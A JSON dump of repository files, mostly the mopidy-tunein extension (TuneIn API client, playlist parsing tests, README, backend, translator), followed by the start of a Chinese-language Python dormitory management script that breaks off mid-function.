filter_=None, session=None):\n self._base_uri = \"https://opml.radiotime.com/%s\"\n self._session = session or requests.Session()\n self._timeout = timeout / 1000.0\n if filter_ in [TuneIn.ID_PROGRAM, TuneIn.ID_STATION]:\n self._filter = f\"&filter={filter_[0]}\"\n else:\n self._filter = \"\"\n self._stations = {}\n\n def reload(self):\n self._stations.clear()\n self._tunein.clear()\n self._get_playlist.clear()\n\n def _flatten(self, data):\n results = []\n for item in data:\n if \"children\" in item:\n results.extend(item[\"children\"])\n else:\n results.append(item)\n return results\n\n def _filter_results(self, data, section_name=None, map_func=None):\n results = []\n\n def grab_item(item):\n if \"guide_id\" not in item:\n return\n if map_func:\n station = map_func(item)\n elif item.get(\"type\", \"link\") == \"link\":\n results.append(item)\n return\n else:\n station = item\n self._stations[station[\"guide_id\"]] = station\n results.append(station)\n\n for item in data:\n if section_name is not None:\n section_key = item.get(\"key\", \"\").lower()\n if section_key.startswith(section_name.lower()):\n for child in item[\"children\"]:\n grab_item(child)\n else:\n grab_item(item)\n return results\n\n def categories(self, category=\"\"):\n if category == \"location\":\n args = \"&id=r0\" # Annoying special case\n elif category == \"language\":\n args = \"&c=lang\"\n return [] # TuneIn's API is a mess here, cba\n else:\n args = \"&c=\" + category\n\n # Take a copy so we don't modify the cached data\n results = list(self._tunein(\"Browse.ashx\", args))\n if category in (\"podcast\", \"local\"):\n # Flatten the results!\n results = self._filter_results(self._flatten(results))\n elif category == \"\":\n trending = {\n \"text\": \"Trending\",\n \"key\": \"trending\",\n \"type\": \"link\",\n \"URL\": self._base_uri % \"Browse.ashx?c=trending\",\n }\n # Filter out the language root category for now\n results = [x for x in results if x[\"key\"] != \"language\"]\n results.append(trending)\n else:\n results = self._filter_results(results)\n return results\n\n def locations(self, location):\n args = \"&id=\" + location\n results = self._tunein(\"Browse.ashx\", args)\n # TODO: Support filters here\n return [x for x in results if x.get(\"type\", \"\") == \"link\"]\n\n def _browse(self, section_name, guide_id):\n args = \"&id=\" + guide_id\n results = self._tunein(\"Browse.ashx\", args)\n return self._filter_results(results, section_name)\n\n def featured(self, guide_id):\n return self._browse(\"Featured\", guide_id)\n\n def local(self, guide_id):\n return self._browse(\"Local\", guide_id)\n\n def stations(self, guide_id):\n return self._browse(\"Station\", guide_id)\n\n def related(self, guide_id):\n return self._browse(\"Related\", guide_id)\n\n def shows(self, guide_id):\n return self._browse(\"Show\", guide_id)\n\n def episodes(self, guide_id):\n args = f\"&c=pbrowse&id={guide_id}\"\n results = self._tunein(\"Tune.ashx\", args)\n return self._filter_results(results, \"Topic\")\n\n def _map_listing(self, listing):\n # We've already checked 'guide_id' exists\n url_args = f'Tune.ashx?id={listing[\"guide_id\"]}'\n return {\n \"text\": listing.get(\"name\", \"???\"),\n \"guide_id\": listing[\"guide_id\"],\n \"type\": \"audio\",\n \"image\": listing.get(\"logo\", \"\"),\n \"subtext\": listing.get(\"slogan\", \"\"),\n \"URL\": self._base_uri % url_args,\n }\n\n def _station_info(self, station_id):\n logger.debug(f\"Fetching info for station {station_id}\")\n args = f\"&c=composite&detail=listing&id={station_id}\"\n results = self._tunein(\"Describe.ashx\", args)\n listings = self._filter_results(results, \"Listing\", self._map_listing)\n if listings:\n return listings[0]\n\n def parse_stream_url(self, url):\n logger.debug(f\"Extracting URIs from {url!r}\")\n extension = urlparse(url).path[-4:]\n if extension in [\".mp3\", \".wma\"]:\n return [url] # Catch these easy ones\n results = []\n playlist_data, content_type = self._get_playlist(url)\n if playlist_data:\n parser = find_playlist_parser(extension, content_type)\n if parser:\n try:\n results = [\n u for u in parser(playlist_data) if u and u != url\n ]\n except Exception as e:\n logger.error(f\"TuneIn playlist parsing failed {e}\")\n if not results:\n playlist_str = playlist_data.decode(errors=\"ignore\")\n logger.debug(\n f\"Parsing failure, malformed playlist: {playlist_str}\"\n )\n elif content_type:\n results = [url]\n logger.debug(f\"Got {results}\")\n return list(OrderedDict.fromkeys(results))\n\n def tune(self, station):\n logger.debug(f'Tuning station id {station[\"guide_id\"]}')\n args = f'&id={station[\"guide_id\"]}'\n stream_uris = []\n for stream in self._tunein(\"Tune.ashx\", args):\n if \"url\" in stream:\n stream_uris.append(stream[\"url\"])\n if not stream_uris:\n logger.error(f'Failed to tune station id {station[\"guide_id\"]}')\n return list(OrderedDict.fromkeys(stream_uris))\n\n def station(self, station_id):\n if station_id in self._stations:\n station = self._stations[station_id]\n else:\n station = self._station_info(station_id)\n self._stations[\"station_id\"] = station\n return station\n\n def search(self, query):\n # \"Search.ashx?query=\" + query + filterVal\n if not query:\n logger.debug(\"Empty search query\")\n return []\n logger.debug(f\"Searching TuneIn for '{query}'\")\n args = f\"&query={query}{self._filter}\"\n search_results = self._tunein(\"Search.ashx\", args)\n results = []\n for item in self._flatten(search_results):\n if item.get(\"type\", \"\") == \"audio\":\n # Only return stations\n self._stations[item[\"guide_id\"]] = item\n results.append(item)\n\n return results\n\n @cache()\n def _tunein(self, variant, args):\n uri = (self._base_uri % variant) + f\"?render=json{args}\"\n logger.debug(f\"TuneIn request: {uri!r}\")\n try:\n with closing(self._session.get(uri, timeout=self._timeout)) as r:\n r.raise_for_status()\n return r.json()[\"body\"]\n except Exception as e:\n logger.info(f\"TuneIn API request for {variant} failed: {e}\")\n return {}\n\n @cache()\n def _get_playlist(self, uri):\n data, content_type = None, None\n try:\n # Defer downloading the body until know it's not a stream\n with closing(\n self._session.get(uri, timeout=self._timeout, stream=True)\n ) as r:\n r.raise_for_status()\n content_type = r.headers.get(\"content-type\", \"audio/mpeg\")\n logger.debug(f\"{uri} has content-type: {content_type}\")\n if content_type != \"audio/mpeg\":\n data = r.content\n except Exception as e:\n logger.info(f\"TuneIn playlist request for {uri} failed: {e}\")\n return (data, content_type)\n"
},
{
"alpha_fraction": 0.5951623320579529,
"alphanum_fraction": 0.6040738224983215,
"avg_line_length": 20.81944465637207,
"blob_id": "af63785f5f6e70c0d96127a6b7e9d15d9839cfbb",
"content_id": "8ec0a8f4d5d2439163e6f31853da65b7c1505735",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1571,
"license_type": "permissive",
"max_line_length": 76,
"num_lines": 72,
"path": "/tests/test_playlists.py",
"repo_name": "kingosticks/mopidy-tunein",
"src_encoding": "UTF-8",
"text": "from mopidy_tunein import tunein\n\nASX = b\"\"\"<ASX version=\"3.0\">\n <TITLE>Example</TITLE>\n <ENTRY>\n <TITLE>Sample Title</TITLE>\n <REF href=\"file:///tmp/foo\" />\n </ENTRY>\n <ENTRY>\n <TITLE>Example title</TITLE>\n <REF href=\"file:///tmp/bar\" />\n </ENTRY>\n <ENTRY>\n <TITLE>Other title</TITLE>\n <REF href=\"file:///tmp/baz\" />\n </ENTRY>\n</ASX>\n\"\"\"\n\nSIMPLE_ASX = b\"\"\"<ASX version=\"3.0\">\n <ENTRY href=\"file:///tmp/foo\" />\n <ENTRY href=\"file:///tmp/bar\" />\n <ENTRY href=\"file:///tmp/baz\" />\n</ASX>\n\"\"\"\n\nOLD_ASX = b\"\"\"[Reference]\nRef1=file:///tmp/foo\nRef2=file:///tmp/bar\nRef3=file:///tmp/baz\n\"\"\"\n\nASF_ASX = b\"\"\"[Reference]\nRef1=http://tmp.com/foo-mbr?MSWMExt=.asf\nRef2=mms://tmp.com:80/bar-mbr?mswmext=.asf\nRef3=http://tmp.com/baz\n\"\"\"\n\n\nclass BasePlaylistAsx:\n valid = None\n parse = staticmethod(tunein.parse_asx)\n\n def test_parse_valid_playlist(self):\n uris = list(self.parse(self.valid))\n expected = [\"file:///tmp/foo\", \"file:///tmp/bar\", \"file:///tmp/baz\"]\n assert uris == expected\n\n\nclass AsxPlaylistTest(BasePlaylistAsx):\n valid = ASX\n\n\nclass AsxSimplePlaylistTest(BasePlaylistAsx):\n valid = SIMPLE_ASX\n\n\nclass AsxOldPlaylistTest(BasePlaylistAsx):\n valid = OLD_ASX\n\n\nclass TestPlaylist:\n parse = staticmethod(tunein.parse_asx)\n\n def test_parse_asf_playlist(self):\n uris = list(self.parse(ASF_ASX))\n expected = [\n \"mms://tmp.com/foo-mbr?mswmext=.asf\",\n \"mms://tmp.com:80/bar-mbr?mswmext=.asf\",\n \"http://tmp.com/baz\",\n ]\n assert uris == expected\n"
},
{
"alpha_fraction": 0.7134894132614136,
"alphanum_fraction": 0.7220364212989807,
"avg_line_length": 32.22222137451172,
"blob_id": "f55487d8678c30f8a76747bcee7a4b1db5395df2",
"content_id": "04dd437172732f0a6b86d9460756dc16e6fbec29",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 2693,
"license_type": "permissive",
"max_line_length": 175,
"num_lines": 81,
"path": "/README.rst",
"repo_name": "kingosticks/mopidy-tunein",
"src_encoding": "UTF-8",
"text": "*************\nMopidy-TuneIn\n*************\n\n.. image:: https://img.shields.io/pypi/v/Mopidy-TuneIn\n :target: https://pypi.org/project/Mopidy-TuneIn/\n :alt: Latest PyPI version\n\n.. image:: https://img.shields.io/github/workflow/status/kingosticks/mopidy-tunein/CI\n :target: https://github.com/kingosticks/mopidy-tunein/actions\n :alt: CI build status\n\n.. image:: https://img.shields.io/codecov/c/gh/kingosticks/mopidy-tunein\n :target: https://codecov.io/gh/kingosticks/mopidy-tunein\n :alt: Test coverage\n\n`Mopidy <https://mopidy.com/>`_ extension for playing music from\n`TuneIn <https://tunein.com>`_. Listen to the world’s radio with 70,000 stations of music,\nsports and news streaming from every continent.\n\nAcknowledgement and thanks to Marius Wyss for his original version of this extension and Brian Hornsby's \n`XBMC plugin <https://github.com/brianhornsby/plugin.audio.tuneinradio>`_ that was based on. \n\nThis product uses TuneIn but is not endorsed, certified or otherwise approved in any way by TuneIn. \nTuneIn is the registered trade mark of TuneIn Inc.\n\n\nInstallation\n============\n\nInstall by running::\n\n python3 -m pip install Mopidy-TuneIn\n\nOr, if available, install the Debian/Ubuntu package from\n`apt.mopidy.com <https://apt.mopidy.com/>`_.\n\nSome radio streams may require additional audio plugins. These can be found in the gstreamer plugin packages for your system. For Mopidy v3.0.0 and later, these might include:\n * `gstreamer1.0-plugins-ugly`\n * `gstreamer1.0-plugins-bad`\n * `gstreamer1.0-libav`\n\n\nKnown issues\n============\n\nThe following functionality is not yet implemented:\n * Playback of podcasts/shows.\n * User login and access to saved stations.\n\n\nConfiguration\n=============\n\nYou can add configuration for\nMopidy-TuneIn to your Mopidy configuration file but it's not required::\n\n [tunein]\n timeout = 5000\n\nThe following configuration values are available:\n\n- ``tunein/enabled``: If the TuneIn extension should be enabled or not. Defaults to true.\n- ``tunein/filter``: Limit the search results. ``station``, ``program`` or leave blank to disable filtering. Defaults to blank.\n- ``tunein/timeout``: Milliseconds before giving up waiting for results. Defaults to ``5000``.\n\n\nProject resources\n=================\n\n- `Source code <https://github.com/kingosticks/mopidy-tunein>`_\n- `Issue tracker <https://github.com/kingosticks/mopidy-tunein/issues>`_\n- `Changelog <https://github.com/kingosticks/mopidy-tunein/releases>`_\n\n\nCredits\n=======\n\n- Original author: `Nick Steel <https://github.com/kingosticks>`__\n- Current maintainer: `Nick Steel <https://github.com/kingosticks>`__\n- `Contributors <https://github.com/kingosticks/mopidy-tunein/graphs/contributors>`_\n"
},
{
"alpha_fraction": 0.6356107592582703,
"alphanum_fraction": 0.6356107592582703,
"avg_line_length": 22,
"blob_id": "c46353e0f18f094872a291d4308eb16e7c3d70a2",
"content_id": "08495703f055f1f172bd6e292d4f57234bc72419",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 483,
"license_type": "permissive",
"max_line_length": 47,
"num_lines": 21,
"path": "/tests/test_extension.py",
"repo_name": "kingosticks/mopidy-tunein",
"src_encoding": "UTF-8",
"text": "import unittest\n\nfrom mopidy_tunein import Extension\n\n\nclass ExtensionTest(unittest.TestCase):\n def test_get_default_config(self):\n ext = Extension()\n\n config = ext.get_default_config()\n\n self.assertIn(\"[tunein]\", config)\n self.assertIn(\"enabled = true\", config)\n\n def test_get_config_schema(self):\n ext = Extension()\n\n schema = ext.get_config_schema()\n\n self.assertIn(\"timeout\", schema)\n self.assertIn(\"filter\", schema)\n"
},
{
"alpha_fraction": 0.5739619731903076,
"alphanum_fraction": 0.5749176740646362,
"avg_line_length": 34.80608367919922,
"blob_id": "380521ad331fd1ae4b20aac002448027afcb3fde",
"content_id": "66134e9905e045065c10cf1a79f119eeca253752",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9417,
"license_type": "permissive",
"max_line_length": 88,
"num_lines": 263,
"path": "/mopidy_tunein/actor.py",
"repo_name": "kingosticks/mopidy-tunein",
"src_encoding": "UTF-8",
"text": "import logging\nimport time\n\nimport pykka\nimport requests\nfrom mopidy import backend, exceptions, httpclient\nfrom mopidy.audio import scan\nfrom mopidy.internal import http, playlists\nfrom mopidy.models import Ref, SearchResult\n\nfrom mopidy_tunein import Extension, translator, tunein\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_requests_session(proxy_config):\n user_agent = f\"{Extension.dist_name}/{Extension.version}\"\n proxy = httpclient.format_proxy(proxy_config)\n full_user_agent = httpclient.format_user_agent(user_agent)\n\n session = requests.Session()\n session.proxies.update({\"http\": proxy, \"https\": proxy})\n session.headers.update({\"user-agent\": full_user_agent})\n\n return session\n\n\nclass TuneInBackend(pykka.ThreadingActor, backend.Backend):\n uri_schemes = [\"tunein\"]\n\n def __init__(self, config, audio):\n super().__init__()\n\n self._session = get_requests_session(config[\"proxy\"])\n self._timeout = config[\"tunein\"][\"timeout\"]\n self._filter = config[\"tunein\"][\"filter\"]\n\n self._scanner = scan.Scanner(\n timeout=config[\"tunein\"][\"timeout\"], proxy_config=config[\"proxy\"]\n )\n self.tunein = tunein.TuneIn(\n config[\"tunein\"][\"timeout\"],\n config[\"tunein\"][\"filter\"],\n self._session,\n )\n self.library = TuneInLibrary(self)\n self.playback = TuneInPlayback(audio=audio, backend=self)\n\n\nclass TuneInLibrary(backend.LibraryProvider):\n root_directory = Ref.directory(uri=\"tunein:root\", name=\"TuneIn\")\n\n def __init__(self, backend):\n super().__init__(backend)\n\n def browse(self, uri):\n result = []\n variant, identifier = translator.parse_uri(uri)\n logger.debug(f\"Browsing {uri!r}\")\n if variant == \"root\":\n for category in self.backend.tunein.categories():\n result.append(translator.category_to_ref(category))\n elif variant == \"category\" and identifier:\n for section in self.backend.tunein.categories(identifier):\n result.append(translator.section_to_ref(section, identifier))\n elif variant == \"location\" and identifier:\n for location in self.backend.tunein.locations(identifier):\n result.append(translator.section_to_ref(location, \"local\"))\n for station in self.backend.tunein.stations(identifier):\n result.append(translator.station_to_ref(station))\n elif variant == \"section\" and identifier:\n if self.backend.tunein.related(identifier):\n result.append(\n Ref.directory(\n uri=f\"tunein:related:{identifier}\", name=\"Related\"\n )\n )\n if self.backend.tunein.shows(identifier):\n result.append(\n Ref.directory(\n uri=f\"tunein:shows:{identifier}\", name=\"Shows\"\n )\n )\n for station in self.backend.tunein.featured(identifier):\n result.append(translator.section_to_ref(station))\n for station in self.backend.tunein.local(identifier):\n result.append(translator.station_to_ref(station))\n for station in self.backend.tunein.stations(identifier):\n result.append(translator.station_to_ref(station))\n elif variant == \"related\" and identifier:\n for section in self.backend.tunein.related(identifier):\n result.append(translator.section_to_ref(section))\n elif variant == \"shows\" and identifier:\n for show in self.backend.tunein.shows(identifier):\n result.append(translator.show_to_ref(show))\n elif variant == \"episodes\" and identifier:\n for episode in self.backend.tunein.episodes(identifier):\n result.append(translator.station_to_ref(episode))\n else:\n logger.debug(f\"Unknown URI: {uri!r}\")\n\n return result\n\n def refresh(self, uri=None):\n self.backend.tunein.reload()\n\n def lookup(self, uri):\n variant, identifier = translator.parse_uri(uri)\n if variant != \"station\":\n return []\n station = self.backend.tunein.station(identifier)\n if not station:\n return []\n\n track = translator.station_to_track(station)\n return [track]\n\n def get_images(self, uris):\n results = {}\n for uri in uris:\n variant, identifier = translator.parse_uri(uri)\n if variant != \"station\":\n continue\n station = self.backend.tunein.station(identifier)\n image = translator.station_to_image(station)\n if image is not None:\n results[uri] = [image]\n return results\n\n def search(self, query=None, uris=None, exact=False):\n if query is None or not query:\n return\n tunein_query = translator.mopidy_to_tunein_query(query)\n tracks = []\n for station in self.backend.tunein.search(tunein_query):\n track = translator.station_to_track(station)\n tracks.append(track)\n return SearchResult(uri=\"tunein:search\", tracks=tracks)\n\n\nclass TuneInPlayback(backend.PlaybackProvider):\n def __init__(self, audio, backend):\n super().__init__(audio, backend)\n self._stream_info = None\n\n def translate_uri(self, uri):\n variant, identifier = translator.parse_uri(uri)\n station = self.backend.tunein.station(identifier)\n if not station:\n return None\n stream_uris = self.backend.tunein.tune(station)\n while stream_uris:\n uri = stream_uris.pop(0)\n logger.debug(f\"Looking up URI: {uri!r}\")\n new_uri = self.unwrap_stream(uri)\n if new_uri:\n return new_uri\n else:\n logger.debug(\"Mopidy translate_uri failed.\")\n new_uris = self.backend.tunein.parse_stream_url(uri)\n if new_uris == [uri]:\n logger.debug(f\"Last attempt, play stream anyway: {uri!r}\")\n return uri\n stream_uris.extend(new_uris)\n logger.debug(\"TuneIn lookup failed.\")\n return None\n\n def unwrap_stream(self, uri):\n unwrapped_uri, self._stream_info = _unwrap_stream(\n uri,\n timeout=self.backend._timeout,\n scanner=self.backend._scanner,\n requests_session=self.backend._session,\n )\n return unwrapped_uri\n\n def is_live(self, uri):\n return (\n self._stream_info is not None\n and self._stream_info.uri == uri\n and self._stream_info.playable\n and not self._stream_info.seekable\n )\n\n\n# Shamelessly taken from mopidy.stream.actor\ndef _unwrap_stream(uri, timeout, scanner, requests_session):\n \"\"\"\n Get a stream URI from a playlist URI, ``uri``.\n\n Unwraps nested playlists until something that's not a playlist is found or\n the ``timeout`` is reached.\n \"\"\"\n\n original_uri = uri\n seen_uris = set()\n deadline = time.time() + timeout\n\n while time.time() < deadline:\n if uri in seen_uris:\n logger.info(\n f\"Unwrapping stream from URI ({uri!r}) failed: \"\n \"playlist referenced itself\",\n )\n return None, None\n else:\n seen_uris.add(uri)\n\n logger.debug(f\"Unwrapping stream from URI: {uri!r}\")\n\n try:\n scan_timeout = deadline - time.time()\n if scan_timeout < 0:\n logger.info(\n f\"Unwrapping stream from URI ({uri!r}) failed: \"\n f\"timed out in {timeout}ms\",\n )\n return None, None\n scan_result = scanner.scan(uri, timeout=scan_timeout)\n except exceptions.ScannerError as exc:\n logger.debug(f\"GStreamer failed scanning URI ({uri!r}): {exc}\")\n scan_result = None\n\n if scan_result is not None:\n if scan_result.playable or (\n not scan_result.mime.startswith(\"text/\")\n and not scan_result.mime.startswith(\"application/\")\n ):\n logger.debug(\n f\"Unwrapped potential {scan_result.mime} stream: {uri!r}\"\n )\n return uri, scan_result\n\n download_timeout = deadline - time.time()\n if download_timeout < 0:\n logger.info(\n f\"Unwrapping stream from URI ({uri!r}) failed: timed out in {timeout}ms\"\n )\n return None, None\n content = http.download(\n requests_session, uri, timeout=download_timeout / 1000\n )\n\n if content is None:\n logger.info(\n f\"Unwrapping stream from URI ({original_uri!r}) failed: \"\n f\"error downloading URI {uri!r}\",\n )\n return None, None\n\n uris = playlists.parse(content)\n if not uris:\n logger.debug(\n f\"Failed parsing URI ({uri!r}) as playlist; \"\n \"found potential stream.\",\n )\n return uri, None\n\n # TODO Test streams and return first that seems to be playable\n logger.debug(\n f\"Parsed playlist ({uri!r}) and found new URI: {uris[0]!r}\"\n )\n uri = uris[0]\n"
},
{
"alpha_fraction": 0.6390374302864075,
"alphanum_fraction": 0.6403743028640747,
"avg_line_length": 24.79310417175293,
"blob_id": "cc84a9617fcd50dc9e133fc2ec711d7de8b8fe6b",
"content_id": "ae624d84bcf9e31e5b3043bd0bfb534379f3b0ec",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 748,
"license_type": "permissive",
"max_line_length": 70,
"num_lines": 29,
"path": "/mopidy_tunein/__init__.py",
"repo_name": "kingosticks/mopidy-tunein",
"src_encoding": "UTF-8",
"text": "import pathlib\n\nimport pkg_resources\nfrom mopidy import config, ext\n\n__version__ = pkg_resources.get_distribution(\"Mopidy-TuneIn\").version\n\n\nclass Extension(ext.Extension):\n\n dist_name = \"Mopidy-TuneIn\"\n ext_name = \"tunein\"\n version = __version__\n\n def get_default_config(self):\n return config.read(pathlib.Path(__file__).parent / \"ext.conf\")\n\n def get_config_schema(self):\n schema = super().get_config_schema()\n schema[\"timeout\"] = config.Integer(minimum=0)\n schema[\"filter\"] = config.String(\n optional=True, choices=(\"station\", \"program\")\n )\n return schema\n\n def setup(self, registry):\n from .actor import TuneInBackend\n\n registry.add(\"backend\", TuneInBackend)\n"
},
{
"alpha_fraction": 0.6105111837387085,
"alphanum_fraction": 0.611591100692749,
"avg_line_length": 28.24210548400879,
"blob_id": "59840eff4d27489de45999b0c7344a7bbe9e887b",
"content_id": "67421b776df1765ac9de4fa39b2b20e022c0141f",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2778,
"license_type": "permissive",
"max_line_length": 74,
"num_lines": 95,
"path": "/mopidy_tunein/translator.py",
"repo_name": "kingosticks/mopidy-tunein",
"src_encoding": "UTF-8",
"text": "import logging\nimport re\nfrom urllib import request\n\nfrom mopidy.models import Album, Artist, Image, Ref, Track\n\nfrom mopidy_tunein.tunein import TuneIn\n\nlogger = logging.getLogger(__name__)\n\n\ndef unparse_uri(variant, identifier):\n return f\"tunein:{variant}:{identifier}\"\n\n\ndef parse_uri(uri):\n result = re.findall(r\"^tunein:([a-z]+)(?::(\\w+))?$\", uri)\n if result:\n return result[0]\n return None, None\n\n\ndef station_to_ref(station):\n if station[\"type\"] != \"audio\":\n logger.debug(f'Expecting station but got {station[\"type\"]}')\n guide_id = station.get(\"guide_id\", \"??\")\n uri = unparse_uri(\"station\", guide_id)\n name = station.get(\"text\", station[\"URL\"])\n # TODO: Should the name include 'now playing' for all stations?\n if get_id_type(guide_id) == TuneIn.ID_TOPIC:\n name = f'{name} [{station.get(\"subtext\", \"??\")}]'\n return Ref.track(uri=uri, name=name)\n\n\ndef station_to_track(station):\n ref = station_to_ref(station)\n return Track(\n uri=ref.uri,\n name=station.get(\"subtext\", ref.name),\n album=Album(name=ref.name, uri=ref.uri),\n artists=[Artist(name=ref.name, uri=ref.uri)],\n )\n\n\ndef station_to_image(station):\n if station is not None and \"image\" in station:\n return Image(uri=station[\"image\"])\n\n\ndef show_to_ref(show):\n if show[\"item\"] != \"show\":\n logger.debug(f'Expecting show but got {show[\"item\"]}')\n uri = unparse_uri(\"episodes\", show.get(\"guide_id\", \"??\"))\n name = show.get(\"text\", show[\"URL\"])\n return Ref.directory(uri=uri, name=name)\n\n\ndef category_to_ref(category):\n uri = unparse_uri(\"category\", category[\"key\"])\n return Ref.directory(uri=uri, name=category[\"text\"])\n\n\ndef section_to_ref(section, identifier=\"\"):\n if section.get(\"type\", \"link\") == \"audio\":\n return station_to_ref(section)\n guide_id = section.get(\"guide_id\", \"??\")\n if get_id_type(guide_id) == TuneIn.ID_REGION or identifier == \"local\":\n uri = unparse_uri(\"location\", guide_id)\n else:\n uri = unparse_uri(\"section\", guide_id)\n return Ref.directory(uri=uri, name=section[\"text\"])\n\n\ndef get_id_type(guide_id):\n return {\n \"p\": TuneIn.ID_PROGRAM,\n \"s\": TuneIn.ID_STATION,\n \"g\": TuneIn.ID_GROUP,\n \"t\": TuneIn.ID_TOPIC,\n \"c\": TuneIn.ID_CATEGORY,\n \"r\": TuneIn.ID_REGION,\n \"f\": TuneIn.ID_PODCAST,\n \"a\": TuneIn.ID_AFFILIATE,\n \"e\": TuneIn.ID_STREAM,\n }.get(guide_id[0], TuneIn.ID_UNKNOWN)\n\n\ndef mopidy_to_tunein_query(mopidy_query):\n tunein_query = []\n for (field, values) in mopidy_query.items():\n for value in values:\n if field == \"any\":\n tunein_query.append(value)\n query = \" \".join(tunein_query)\n return request.pathname2url(query)\n"
}
] | 7 |
qsjhyy/Dormitory-Management-System | https://github.com/qsjhyy/Dormitory-Management-System | 978237d5f92842c19274553e595264ddf2d7ca0c | a63ad1d68b36663645273e7f1403fbc4fada59a3 | f004c723509bc6e026ff4c5b5d9fbb84c4d042d1 | refs/heads/master | 2023-03-22T12:54:31.418225 | 2021-03-19T06:00:23 | 2021-03-19T06:00:23 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5084317922592163,
"alphanum_fraction": 0.5227702856063843,
"avg_line_length": 33.01533889770508,
"blob_id": "503bc8a87dbc0f15cff43d9c8c23bb68344fc7af",
"content_id": "676c8d4fab242bda6935e9aa29449fca542d054e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 14717,
"license_type": "no_license",
"max_line_length": 120,
"num_lines": 326,
"path": "/DormitoryManagementSystem.py",
"repo_name": "qsjhyy/Dormitory-Management-System",
"src_encoding": "UTF-8",
"text": "\"\"\"\n学生信息包括\n学号(唯一) 姓名 性别 年龄 寝室(一间寝室最多安排4人)\n寝室编号 男生(100 101 102) 女生(200 201 202)\n\n功能包括:\n1. 可以录入学生信息\n2. 录入过程中可以为其分配寝室(可选自动分配或手动分配,手动分配的话如果选择的寝室人员已满,提示重新分配)\n3. 可以打印各寝室人员列表(做到表格打印是加分项)\n4. 可以用学号索引打印特定学生信息,可以打印所有学生信息(做到表格打印是加分项)\n5. 可以为学生调整寝室(一人调整到其他寝室,两人交换寝室等,自由发挥)\n6. 可以将所有信息存入文件(json格式)\n7. 程序启动时,将文件中的学生信息自动导入系统\n\"\"\"\n# -*- coding: UTF-8 -*-\nimport json\n\n# 系统主菜单选项宏\nRECORD_INFO = '1'\nDELETE_INFO = '2'\nFIND_INFO = '3'\nSHOW_INFO = '4'\nCHANGE_ROOM = '5'\nQUIT_SYSTEM = '0'\n\n# query_student_id函数mode宏\nID_EXISTS = 1\nDELETE_ID = 2\nINFO_RETURN = 3\n\n# 学生信息打印的统一开头\nprint_info = '''\n============================================================\n学号\\t\\t姓名\\t\\t性别\\t\\t年龄\\t\\t寝室号\n------------------------------------------------------------'''\n\n\n# 加载json文件中的学生信息\ndef load_json_file():\n with open(\"information.json\", \"r\", encoding='utf-8') as file: # 加载保存json文件的编码都为utf-8\n return json.load(file) # 将导入的学生信息返回到全局变量student_info_dict(字典类型)\n\n\n# 将学生信息保存在json文件\ndef save_json_file():\n with open(\"information.json\", \"w\", encoding='utf-8') as file:\n json.dump(room_info_dict, file, ensure_ascii=False) # 传入文件描述符,和dumps一样的结果,关闭默认以ASCII码存入json\n\n\n# 根据学号遍历、调整学生信息\ndef query_student_id(query_id, mode):\n for room in room_info_dict.values():\n for stu_info in room[\"student\"]:\n if query_id == stu_info[\"student_id\"]:\n if mode == ID_EXISTS:\n return True\n elif mode == DELETE_ID:\n room[\"student\"].pop(room[\"student\"].index(stu_info)) # 删除寝室字典里面的该生信息\n room[\"count\"] -= 1\n return True\n else:\n return room[\"student\"][room[\"student\"].index(stu_info)] # 按学号搜索学生的学生信息\n return False\n\n\n# 录入学生信息\ndef record_student_info():\n new_student_info = {\"student_id\": \"\", \"name\": \"\", \"sex\": \"\", \"age\": 0, \"room\": \"\"} # 新增学生的个人信息集\n\n # 判断输入学号是否合法\n while True: # 由于学号格式为整型,所以加了异常和格式转换,阻止了输入为1.1和1、1之类的情况\n try:\n new_student_info[\"student_id\"] = str(int(input(\"请输入要录入学生的学号:\\n\")))\n if query_student_id(new_student_info[\"student_id\"], 1): # 学号是否唯一\n print(\"您输入的学号已存在(提示:有效数字之前的零无效),请重新输入\")\n elif new_student_info[\"student_id\"] == '0':\n print(\"抱歉,学号不能为零,请重新输入\")\n else:\n break\n except ValueError:\n print(\"您输入学生学号格式有误,请重新输入\")\n\n # 判断输入姓名是否合法\n while not new_student_info[\"name\"]: # 姓名仅做了输入为空判断\n new_student_info[\"name\"] = input(\"请输入学生姓名(不能为空哦):\\n\")\n\n # 判断输入性别是否合法\n while new_student_info[\"sex\"] not in (\"男\", \"女\"): # 判断性别输入是否为(男/女)\n new_student_info[\"sex\"] = input(\"请输入性别(男/女):\\n\")\n\n # 判断年龄输入是否合法\n while True: # 由于输入格式为整型,所以加了异常和格式转换,阻止了输入为.和、之类的情况\n try:\n new_student_info[\"age\"] = int(input(\"请输入年龄,范围(6-48):\\n\"))\n if int(new_student_info[\"age\"]) not in range(6, 48): # 判断年龄输入是否合法\n print(\"您输入的年龄范围不符合规定,请重新输入\")\n else:\n break\n except ValueError:\n print(\"您输入的年龄格式有误,请重新输入\")\n\n k = 1 # k = 1,默认为女生\n if new_student_info[\"sex\"] == \"男\": # 提前用k值标识性别,方便后面为其分配对应的寝室\n k = 0 # k = 0为男生\n\n while True:\n info = \"\"\"========================寝室分配============================\n 1.自动分配\n 2.手动分配\n \"\"\"\n print(info)\n choice1 = input(\"请选择你需要进行的操作:\\n\")\n if choice1 == \"1\": # 自动分配\n for i in (100 + 100*k, 101 + 100*k, 102 + 100*k): # 顺序遍历每一间寝室\n i = str(i)\n if concreteness_allot_step(room_info_dict[i], new_student_info, i): # 寝室分配函数,寝室已满会分配失败,返回False\n break\n if i >= str(102 + 100*k):\n print(\"抱歉,所有符合规定的寝室已住满\")\n break\n break\n\n elif choice1 == \"2\": # 手动分配\n while True:\n room_id = input(\"请输入要分配的寝室号:\\n\")\n if int(room_id) not in (100 + 100*k, 101 + 100*k, 102 + 100*k):\n print(\"您输入的寝室号不符合规定,请重新输入:\")\n elif not concreteness_allot_step(room_info_dict[room_id], new_student_info, 